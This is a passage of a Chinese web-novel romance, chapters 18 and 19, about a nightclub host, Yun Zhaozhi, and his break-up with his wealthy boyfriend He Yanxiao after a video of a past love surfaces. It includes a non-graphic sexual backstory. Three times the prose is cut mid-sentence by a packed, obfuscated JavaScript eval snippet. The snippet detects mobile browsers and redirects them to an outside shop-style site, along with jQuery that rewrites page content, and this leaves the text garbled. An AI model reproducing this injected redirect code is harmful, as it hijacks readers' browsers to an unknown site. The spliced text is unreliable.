【云昭至:那你能告诉我,为什么现在是你和我联系,而不是他吗?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299261|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这次对面沉默了很久才回复: 【0.01%:对不起,具体的我不能说】 【0.01%:我只能说,他没办法找你,但你以后会知道他是谁的】 云昭至看向窗外,对面的说话语气让他久违地想起了一个人。 一个和他并不算熟悉,却间接为他带来了无法磨灭的伤痛的人。 见不管怎么问对方都不肯说,云昭至也没继续追问,转而提到对面的头像。 【云昭至:你的头像,是你今天送给我的那个吗?】 【云昭至:不对,应该是你朋友送的】 【0.01%:没错】 【0.01%:其实你要当是我送的也可以……】 后面那句话刚发出来就撤回了,云昭至等了一会儿对面也没有再发一次的意思,便试探性发了个问号。 【0.01%:没什么】 【0.01%:不早了,我要睡了,你也早点睡】 云昭至盯着手机屏幕看了很久,直到手机自动熄屏,他才回过神来般直起身,脸上没有任何表情。 那天之后在外人看来云昭至和贺彦骁又恢复了以往的亲密无间,两个人心照不宣般都没有再提过结婚的事情。 其实那天贺彦骁求婚布置场地时有很多人看到,但是后续云昭至拒绝的时候却没几个人看见,有些人心里有疑惑也不敢直接问当事人。 直到几个月后。 国庆假期结束,云昭至回到会所后忽然公布自己恢复了单身。 有贺彦骁好友的人去看了,发现贺彦骁那些秀恩爱的动态已经全部看不见了,现在朋友圈是完全封闭的状态。 云顶会所的人都知道,“半夏”在和贺家那个小公子谈恋爱后接客的频率都变少了。 没想到这次回来又恢复了原状。 有人说是半夏被厌弃了,也有人说是半夏急着飞上枝头当凤凰逼婚失败……后者刚说出口就被人反驳说不可能,贺小公子明明都准备对半夏求婚了,估计是家里不同意……全都说的有鼻子有眼。 背地里很多人都在讨论——云昭至和会所里很多人其实不是很合得来,倒是没有到排挤或者结仇的地步,只是他人气太盛,不少同事对他都会不由自主地带上几分疏离感。 也有本来就看不惯他的人背地里嘲笑他山鸡变不成凤凰,攀高枝失败。 对于这些风言风语云昭至没有做出任何反应,依然是那副笑盈盈的模样。 夜场本就是新旧更迭极快的地方,十月底的时候这些流言蜚语就渐渐平息了。 直到这天,姚鑫蔓急匆匆地找到云昭至,贴在他耳边小声道:“你前男友来了。” 云昭至第一反应是李轩览,诧异了几秒才反应过来对方说的是贺彦骁,不禁失笑:“来就来了,你这是什么表情。” 姚鑫蔓的双眼瞪地很大,看了他一会儿确定他是真的不在意而不是装出来的,才松了一口气:“主要是,主要是……” 她咬咬牙,在云昭至含笑的目光中把后半句话吐了出来:“主要是他众目睽睽下点了一个刚来的新人,旁边那些看热闹的人眼睛都快瞪出火星子了!” 18. 分手 姚鑫蔓越说越生气:“现在那群人可得意了,那副嘴脸我看了都想吐,真想看看他们知道是你拒绝了求婚会是什么样的表情。” 她给自己说上头了,忍不住抱怨一句:“你怎么不告诉他们是你不想和贺彦骁结婚而不是你逼婚失败?看他们那副幸灾乐祸的样儿我就来气。” 云昭至掀了掀眼皮,斜斜瞟她一眼,眉眼间流露出动人心魄的艳,声音里带着几分无奈:“我疯了?嫌得罪他还没得罪够,非要把自己往绝路上逼?” “你在这待了那么多年了,也不止认识他一个,怕他干什么?”姚鑫蔓不服气。 云昭至低头抿了一口酒,这次的酒很烈,辛辣的酒液让他瞬间蹙起眉,眼尾都微微泛红:“话是这么说,但他要是真铁了心要报复我也是不小的麻烦,横竖这次我理亏,那些传言也伤不到我什么,传就传了吧。” “你有什么理亏的?本来你因为初恋才答应他表白的事儿你也没告诉他,谁让他自己非要知道。”姚鑫蔓丝毫不讲道理地把错全怪在贺彦骁身上,随后又担心道: “他到底哪来的视频?不会是你身边哪个人传出去的吧,你可不能不当回事,那是你手机里的视频,又都那么多年前了,一般人怎么会有?” 云昭至垂眸看着桌面上的反光,细长的睫毛微微颤动:“不一定是我周围的人,也可能是当年在场的哪个同学。” 不远处,贺彦骁烦躁地听着耳边的聒噪声,指节无意识地攥紧了酒杯,眼底翻涌着藏不住的烦躁,仿佛下一秒就要彻底爆发。 终于,他不耐烦地啧了一声,猛地抬眼扫向一旁,周身的低气压让周围的人都下意识地噤了声。 从他刚刚在众目睽睽之下点了另一个人开始,那些若有若无的看戏目光就没停歇过。 贺彦骁知道那些人在惊奇什么,这是他来云顶会所那么多年里唯一一次点了云昭至以外的人。 他听见那些人的窃窃私语和猜测,似乎所有人都以为云昭至是被厌弃的那一个,只有他知道事实完全相反。 把所有人赶出去后,贺彦骁沉着脸走到窗口,桀骜的眉眼褪去几分轻狂,多了几分不动声色的成熟。 他低下头点了一支烟,看着烟丝燃起的火星在指尖明明灭灭,指节因用力捏着烟身而泛白。 距离他对云昭至求婚,已经过去了好几个月。 那次求婚贺彦骁策划了很久,他向家里人坦白自己爱上一个男人时不出所料被打了一顿,好在他大哥才是继承人,所以最后家里还是松口了。 当时他欣喜若狂,立刻就开始着手布置求婚,想要让云昭至知道这个好消息。 但那些布置都还没来得及全部展示出来。 贺彦骁永远也忘不了云昭至的反应,当时对方先是愣了一下,随后那红润小巧的唇就吐出了让他始料未及的话。 ——“我什么时候说要和你结婚了?” 他在短暂的震怒后很快地被云昭至温声细语哄好,他也说服自己理解云昭至的不安,于是他们又回到了原来的状态。 直到不久前,他的私人邮箱里忽然收到一封没有发件人信息的邮件,点开竟是一个来源不明的视频。 贺彦骁没有去追寻发件人的身份——视频的内容已经让他没有任何心思再去想其他。 他几乎不敢去回想那一天的心情,他看见视频里另一个脸被糊了马赛克的男人唱着歌对云昭至表白,一切的一切都仿佛与他对云昭至告白的那天重合。 视频的画质模糊不清,画面里云昭至雪白的面容还带着未脱的青涩,隔着冰冷的屏幕竟也能让人感受到那份少年独有的、热烈又笨拙的悸动与羞涩。 贺彦骁在某一刻突兀地想起,在自己唱歌告白时云昭至看着他神色茫然地落了泪。 那时云昭至红着眼眶笑说自己是喜极而泣,可如今再细细回想,他才后知后觉——那眼底翻涌的哪是什么喜悦,分明是触及心底深处的故人时才会流露出来的酸涩与怅然! 贺彦骁一遍遍看着那个视频,有了对比才发觉云昭至面对自己时有多虚情假意。 过往那些亲密的依偎,缱绻的呢喃,那些带着温度的撒娇,毫无保留的示爱,在此时此刻全都成了虚伪又荒唐的笑话。 虚情假意就算了,他本来最多以为云昭至是没有真心,哪成想云昭至是将真心全给了另外的人,更可气的是还把他当做了那人的替身! 贺彦骁把自己关在房间里不吃不喝,受虐般同时放两个视频。 一个是他邮箱里收到的视频,另一个是他对云昭至表白的视频。 可笑他曾经还试图用后者换云昭至心软。 贺彦骁彻夜未眠,感觉自己好像死过一次。 活过来后他做的第一件事就是看手机,这一看他就没忍住笑了一下。 这么长的时间里云昭至竟然只给他发过一条消息,是问他今天去哪了的,见他没回也就什么都没继续说。 贺彦骁面无表情地想,对视频里那个看不清脸的男人,云昭至也是这样不闻不问吗? 他换上熨烫平整的西装,领结打得规整又妥帖,走到镜子前。 镜中的男人着装笔挺,周身透着浑然天成的高贵,眼底是陌生的冷意。 见面时云昭至仍然是那副巧笑怜兮的模样,眼波流转间眸光如水,温柔得仿佛能将人溺毙其中。 往日里令人心动的面孔如今却勾不起贺彦骁心底半分波澜,他的喉结上下滚动,只觉得这份刻意的含情脉脉虚伪得令人心头发紧。 望着云昭至明艳的眉眼,他还是说不出太难听的话,最终只是一言不发地把视频甩到对方面前。 从点开视频起,贺彦骁就一直在观察云昭至的表情。 他看见云昭至在短暂的怔愣后淡下了表情,嘴角拉平,眼底翻涌出复杂的情绪。 播放视频的时候谁都没有说话,熟悉的歌词在两个人耳边回荡。 ——“爱有万分之一甜 宁愿我就葬在这一点……”① 视频结束,贺彦骁冷着脸开口:“你还有什么想说的?” 夜风灌进喉咙,将这声质问撕得支离破碎。 云昭至很轻地眨了一下眼睛,纤长的睫毛如蝶翼般微微颤动,明明整个人静立不动,周身却无端漫开一股脆弱的气息。 贺彦骁微恍了下神,视线落在对方颤动的睫毛上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299262|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心头竟莫名升起一种错觉——仿佛下一秒面前人就会在自己眼前寸寸碎裂,然后消失在这天地间。 几息后云昭至轻轻启唇:“是谁给你发的视频?” 贺彦骁刚软下来一点的心瞬间就冷了。 “视频里的男人是谁?”他声嘶力竭地质问,得到的却是一片死寂。 随后无论他问什么,云昭至都沉默不语。 那句询问竟是云昭至在看完视频后说出的唯一一句话。 最后贺彦骁气急败坏:“行,你今天不说清楚我们就分手!” 云昭至本就白皙的面容顿时更加惨白,一丝血色也无。 贺彦骁冷冷地看着他,语气嘲讽:“当婊/子还立牌坊,你心里有人还来这种地方上班?” 他已经气昏了头,只觉得脑海中回忆起的每一幕都是背叛与欺骗,自己曾经的一切行为都变得可笑又尴尬:“之前给你打电话过来的那个所谓的大学舍友其实就是视频里的那个男人吧?你就那么缺男人?” 云昭至睫毛颤了颤,右耳上的珍珠耳坠在灯光下泛着莹白的光,与雪白的肤色相映竟无端让他的面容透出几分病态的脆弱。 情绪爆发后无力感瞬间席卷全身,贺彦骁靠在墙上,胸膛仍在剧烈起伏,每一次呼吸都带着灼人的疼,声音里的失望几乎要溢出来:“认识那么多年,我也没有哪里对不起你吧?” 云昭至突然开口,每一个字都咬得极轻,努力维持着表面的平静,却终究无法抑制尾音那一丝细微的、不易察觉的颤抖:“一开始是你只想要玩玩的。” 他们的第一次上床,是在云昭至十八岁。 那时候云昭至刚和梁骁和分手没多久,每天都喝很多酒——上班喝,下了班也喝。 当时贺彦骁也还很年轻,从第一次见到云昭至起便一见钟情,一直缠着他对他示好。 在此前,云昭至明确拒绝过这个游手好闲的阔少无数次。 直到那一天。 云昭至第一次在贺彦骁进来时主动拦住对方的去路,醉意朦胧的脸上晕着绯色,眉眼间风情万种,认真中又带着点醉态地问:“你要不要和我在一起?” 第一次那么近距离看面前人精致雪白的面容,贺彦骁受宠若惊,有一刹那甚至怀疑自己听错了。 云昭至直勾勾地盯着面前人红透的脸,看见对方脸上的欣喜若狂逐渐转为犹豫。 于是在静默的几秒里他忽然明白了,对方也只是想要玩玩而已。 真的要当伴侣,对方觉得他还不够格。 也很正常。 云昭至见多了这种人,早就见怪不怪。 于是他脸上的笑容愈发灿烂,伸手比了一个数,醉意朦胧的脸容色昳丽,冲对方俏皮地眨了眨眼睛:“我前几天刚过了十八岁生日。” 就好像刚刚那句要不要在一起只是开玩笑一般的情话。 贺彦骁看懂了他的意思,松了口气的同时心底忍不住升起几分失落,这时候他还不知道他错过了此生唯一的机会。 他根本没看清云昭至比的数就被对方的笑晃迷了眼,下意识跟着点头。 随后,他们去酒店度过了整整一夜。 19. 初夜 那天的后半夜云昭至一直在哭,泪珠不断砸落,贺彦骁以为是自己第一次太粗鲁弄疼他了,一直在道歉,中途甚至停了下来。 云昭至却勾住他的脖颈哑着嗓子催他继续,那双眼蒙着水汽,眼尾晕开一片艳色,媚眼如丝缠得人喘不过气。 他心里其实很愧疚,哭那么伤心干什么呢?人家是想寻开心的,现在搞得像强迫了他一样。 可他控制不住眼泪,那些在和梁骁和说分手时没有落下来的泪在贺彦骁面前流尽了。 没有人知道的是那也是云昭至的头一回,他和梁骁和在一起的时候对方总是顾忌他身体差年纪小,没做到过最后。 哪怕在所有人眼里他都是身经百战的“交际花”,在梁骁和眼里他好像也始终都是需要人细心呵护的易碎珍宝。 那天晚上云昭至哽咽地解释自己哭泣是感动的,第一次有人对他那么好,之前没有人爱他。 贺彦骁信以为真,听了以后很心疼,不停地亲吻他被泪水沾湿的发丝,心里特别愧疚没办法给他名分。 他在家里没有实权,根本没办法掌控自己的婚姻大事,过去他觉得混吃混喝没什么不好,这是他第一次痛恨自己的无能。 第二天是贺彦骁醒来后就一直看着怀中人精致白皙的面容,好像怎么也看不腻。 情浓蜜意下他头晕脑胀地说:“我们在一起吧。” 云昭至顿了一下,唇角的笑容没有任何变化,只故作没听懂般娇嗔道:“我们不是已经在一起了一整晚吗?” 贺彦骁恢复理智,不甘地想说自己不是这个意思,却又不知道为什么没有说出口。 于是最后,他只是低头吻了一下云昭至的额头,吻里带着歉疚。 云昭至觉得好笑,有什么好愧疚呢,他们各取所需,谁也没有欠谁。 在那之后,云昭至才真正开始浪迹于情/场和夜/店,越来越八面玲珑,越来越游刃有余。 后来他遇到过好多客人,也在床笫间流过泪,但是再也没有人会在他落泪时停下道歉并抱着安抚,床上的眼泪只会让那些人更兴奋。 美人落泪向来能激起无尽的欲/望。 云昭至也不在乎。 眼泪有没有人心疼又如何呢,他在夜场浮沉那么多年什么没见过?多的是人表面上心疼伴侣的眼泪百依百顺,背地里依然偷偷乱搞。 这能证明什么呢,什么都证明不了。 转眼间已过去整整八年。 现在回忆起来,云昭至才发觉当年他第一次在床上哭泣和后面听见表白时落泪撒的谎,贺彦骁全都信了。 那么多年竟然没有丝毫长进,和那时候一样好骗。 贺彦骁的神色更加愤怒,眼底却翻涌出几分不易察觉的委屈:“是,我一开始是没认真,但那已经是多少年之前了?这些年来你摸着良心说,你真的感觉不到我对你的真心吗?” 云昭至避开了他的眼睛,抿了抿唇。 贺彦骁从他的反应看出了答案,自嘲一笑,声音暗哑:“你把我当替身?云昭至,你怎么敢把我当替身?” 每一句话都像是刺进心底,云昭至擅长很多哄人的话术,本可以像往常一样用甜言蜜语将一切圆回来,可偏偏这么巧舌如簧的一个人此刻却低着头一言不发,沉默得像一尊漂亮的雕塑。 最后一丝希望也破灭,贺彦骁侧过头不再看他,似乎叹了一口气,又似乎没有,声音冰冷:“滚出去吧,以后别让我见到你。” 这便是他们分手的全部经过。 一开始云昭至其实以为对方会报复,自小顺风顺水从未受过半分委屈骨子里刻着心高气傲的富家少爷发现自己被一个混迹夜场的男人欺骗了感情,怎么想都难忍。 但后面他等了十天半个月对方都毫无动静。 云昭至想了想又觉得,也对,被一个会所的员工骗了感情,还是个男人,估计都不好意思被人知道吧。 所以也只能当没发生过。 想清楚以后云昭至就不怕对方报复了,继续和往常一样工作。 这次贺彦骁来他其实很意外,不是意外对方点了别人,而是意外对方还会来。 看分手时对方激烈的反应和说的最后一句话,他还以为贺彦骁这辈子都不再会想看见他了,哪怕只是可能看见。 现在会来是不是代表贺彦骁已经把他放下了? 云昭至本来以为也就这样了,毕竟真的不想碰面的话哪怕在同一家会所也不一定能见到面,直到到了他下班的点—— 外面天已经黑透了,他在走出会所门时习惯性低头看着脚下的路,身侧骤然冲来一股猛力,伴随着布料的摩擦声他的包重重摔在地上。 客人在门口来去匆匆是常事,云昭至没当一回事,甚至连头也没有回,只蹲下身捡起自己的包。 那撞落他包的人却没走,反而几步上前停在他的正前方,他的指尖刚碰到包带,一道低沉的男声便猝不及防地从头顶落下。 “云昭至。” 短短的三个字在耳边炸开,云昭至微不可见地顿了顿,拎起包起身时脸上已经挂上柔媚的笑容,昳丽的眉眼却透出恰到好处的疏离:“有什么事吗?” 看见他这副丝毫不意外的样子,反而是贺彦骁愣了一下:“你知道我来了?” 云昭至没忍住勾了勾唇,语气很平和:“想不知道都难。” 他只是在陈述一个事实,贺彦骁却立刻想起那些在暗处看热闹的工作人员,随即瞬间明白云昭至不仅知道自己来了,估计还知道自己点了另一个人。 对上云昭至含水般的黑眸,他的脸色变得有些古怪,似乎是想要开口解释,但最后还是什么都没说。 夜已深,可对于纸醉金迷的夜场来说真正的夜生活才刚刚拉开帷幕。 会所门口人潮涌动,云昭至和贺彦骁过去的关系在会所里早就不是秘密,此刻不知多少道目光正暗戳戳地锁在他们身上。 令所有人意外的是,在这重逢的场面下云昭至面不改色,就好像不认识面前人一样,反而是贺彦骁眼神闪烁,甚至隐隐透出心虚之色,像是想看云昭至又不敢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299263|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺彦骁自己也不知道自己为什么会心虚,明明分手后找新人是再正常不过的事情,更何况他并没有真的找,只是一时不知道怎么对云昭至解释。 而且,明明分手是因为云昭至对不起他还连哄哄他都不愿意,云昭至都没有任何愧疚,他为什么要心虚? 想着想着贺彦骁的脸色便不自觉沉了下来,俊朗的脸上却还在硬撑云淡风轻。 看他没有再继续说话的打算,云昭至垂下眼帘,笑意浅淡却标准:“我先失陪了,祝您今晚玩得开心。” 下一秒身侧传来一股大力,贺彦骁死死攥住他的手臂,语气近乎气急败坏:“你走什么走?谁和你说我今晚是来玩的了?没看见我现在也准备出去了吗?” 云昭至微微蹙起眉,疼地“嘶”了一声。 贺彦骁这才发现自己情绪激动过于用力了,连忙松开手,看见雪白的胳膊上已经红了一片。 他下意识心疼,却又忍不住觉得活该,这点疼怎么比得上他在发现自己被云昭至当做替身时的痛? 扭曲的情绪在他眼底肆意发酵,最后还是没忍住冷声质问:“你就没有什么想和我说的吗?” 云昭至垂着眸,化了浓妆的妩媚眉眼无端显露出几分冷淡:“没有。” 话音刚落他就听见不远处传来倒吸凉气的声音,周围偷听的人都惊掉了下巴,会所那个没有云昭至在的员工群顿时炸开了锅。 【a:我的天,这看起来半夏好像不是被甩的那个啊?】 【b:他不会是装的吧?欲擒故纵?】 【c:@所有人你们今晚提前走的人真是亏大发了!太精彩了我现在都不敢呼吸!】 …… 云昭至不知道群聊里瞬间就有了99+的消息,只看见面前人的脸上立刻浮现出震惊和委屈,似乎完全没想到他会那么冷漠。 随后贺彦骁故作不在乎地倨傲道:“你现在后悔还来得及。” 云昭至神色温顺,吐出的却是拒绝的话:“不用了。” 光线迷离又混乱,他的脸在光影交错间美得像一幅失真的画。 云昭至态度很好:“是我对不起你,我不奢求你原谅,也不会打扰你。” 贺彦骁被气得心口疼,也不纠结解释会不会丢面子了,语气焦急:“你是不是在介意我今天没有找你?我点小许有别的原因……他是我表弟。” 他加重语气:“我们不是你想的那样,我和他什么也没有!” 云昭至摇了摇头,不知道面前人所说是真是假,也没有追究的心思,只是用和谈恋爱时一样的温声细语道:“我没有介意。” 他抬眸看着面前人,每一个字都说得很慢:“你不是已经知道我为什么答应你的告白了。” 既然知道,为什么还要心存幻想? 贺彦骁忽然冷静下来,盯着他看了一会儿说:“对,我知道了。” 他深吸一口气,说话都有些颠三倒四:“你要是担心国内领不了证也可以去国外……你现在和我去国外领证,我就当什么都不知道。”